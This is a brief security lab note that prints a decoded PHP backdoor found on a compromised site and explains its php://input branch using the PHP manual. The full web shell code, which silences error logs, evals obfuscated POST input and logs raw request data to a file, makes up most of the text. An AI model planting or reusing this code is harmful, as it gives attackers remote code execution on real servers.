PHP://input Backdoor

Labs Note

Just came across this backdoor (decoded):

@error_reporting(0); 
@ini_set("display_errors",0); 
@ini_set("log_errors",0); 
@ini_set("error_log",0); 

if (isset($_GET['r'])) { 
    print $_GET['r']; 
} 
elseif (isset($_POST['e'])) { 
    eval ( base64_decode(str_rot13 (strrev(base64_decode (str_rot13($_POST['e'])))))); 
} 
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 
    if (strlen($data) > 0) 
        print 'STATUS-IMPORT-OK'; 
    if (strlen($data) > 12) { 
        $fp=@fopen('tmpfile','a'); 
        @flock($fp, LOCK_EX); 
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 
        @flock($fp, LOCK_UN); @fclose($fp); 
    } 
} 
exit;

It looks like a normal backdoor, but the interesting part and the one I didn\’t understand completely was this one:

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
    $data = file_get_contents("php://input"); 

What is it doing?

Why is it reading from php://input? From the PHP manual it explains:

php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

That explains.

You May Also Like